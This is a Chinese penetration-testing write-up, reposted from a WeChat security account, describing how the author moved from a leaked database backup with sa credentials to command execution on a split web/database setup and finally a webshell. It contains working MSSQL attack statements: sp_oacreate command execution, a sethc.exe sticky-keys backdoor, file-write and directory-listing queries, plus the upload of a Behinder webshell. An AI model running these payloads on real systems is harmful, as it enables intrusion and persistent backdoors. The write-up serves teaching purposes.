实战-站库分离拿下webshell

admin 2021年9月4日06:44:20评论92 views字数 1784阅读5分56秒阅读模式

作者:海鸥i ,转载自:https://xz.aliyun.com/t/8584。

各位同学参考学习。

1、信息泄露


在对目标进行目录扫描的时候,发现存在目录遍历。

实战-站库分离拿下webshell

在目录中发现了app目录的备份文件,在备份中找到了其数据库文件。

实战-站库分离拿下webshell

竟然使用的是sa账户连接的!!!
主站无CDN,且IP地址与数据库配置文件中的IP不一致,典型的站库分离。

实战-站库分离拿下webshell

实战-站库分离拿下webshell

现在有Sa的账号密码,先从数据库开始渗透。

2、Mssql渗透

(1)Xp_cmdshell

使用sqlmap 直连数据库

sqlmap -d "db_type://user:pwd@ip:port/db" command

执行命令没有回显,得到其版本为2000。

实战-站库分离拿下webshell


尝试连接数据库手动执行命令。

Navicat不支持连接Mssql2000,这里改用Database4来连接。

Mssql2005及以上版本默认关闭Xp_cmdshell,2000可以直接调用Xp_cmdshell执行命令。

连上之后执行命令报错了

实战-站库分离拿下webshell

查了一下可能是因为数据库没权限创建Cmd进程。

实战-站库分离拿下webshell

(2)Sp_oacreate执行命令

sp_oacreate的劣勢是沒有回显,但是可以将命令的输出写到文件,我们再读取文件即可。

找到了Sp_oacreate两种执行命令的方式

declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:test.txt','c:windowssystem32','','1';

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami > c:\1.txt'

在这里执行这两条命令,Database4都会直接卡死。

实战-站库分离拿下webshell


(3)Sp_oacreate粘贴键替换调用Cmd

这种方式等于是做了一个shift后门。

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:windowsexplorer.exe' ,'c:windowssystem32sethc.exe';

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:windowssystem32sethc.exe' ,'c:windowssystem32dllcachesethc.exe';

语句可以成功執行,但是调不出来,未知原因。

实战-站库分离拿下webshell

(4)Sp_oacreate读写文件

这个功能

实战-站库分离拿下webshell

在有Web服务的时候很好用

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:tmp1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'tes1t'

实战-站库分离拿下webshell

查看目录结构

execute master..xp_dirtree 'e:',1,1

实战-站库分离拿下webshell

查看文件内容

表名不能重复,查一次换一次表名。

实战-站库分离拿下webshell

3、代码审计

代码审计过程中,在源码中找到一个Upload功能,对上传文件没有做任何防护。会直接将上传的文件,上传到http://主站IP:8082/upload下。

实战-站库分离拿下webshell


构造html上传页面,并将其提交到app目录下的这个upload.php文件即可。

实战-站库分离拿下webshell

先上传一个正常"萨斯该"的图片

实战-站库分离拿下webshell

实战-站库分离拿下webshell

这里有个坑,他给的路径是错的直接访问找不到。

最后在主站下边的这个app目录下找到了

实战-站库分离拿下webshell


上传Webshell,刚上传一句话木马被杀了。

以为php不能上传,上传了个phpinfo可以执行,改上传冰蝎的马成功Getshell。

实战-站库分离拿下webshell


扫描关注乌雲安全

实战-站库分离拿下webshell


觉得不错点个“赞”、“在看”哦实战-站库分离拿下webshell

本文始发于微信公众号(乌雲安全):实战-站库分离拿下webshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月4日06:44:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战-站库分离拿下webshellhttps://cn-sec.com/archives/487644.html

发表评论

匿名网友 填写信息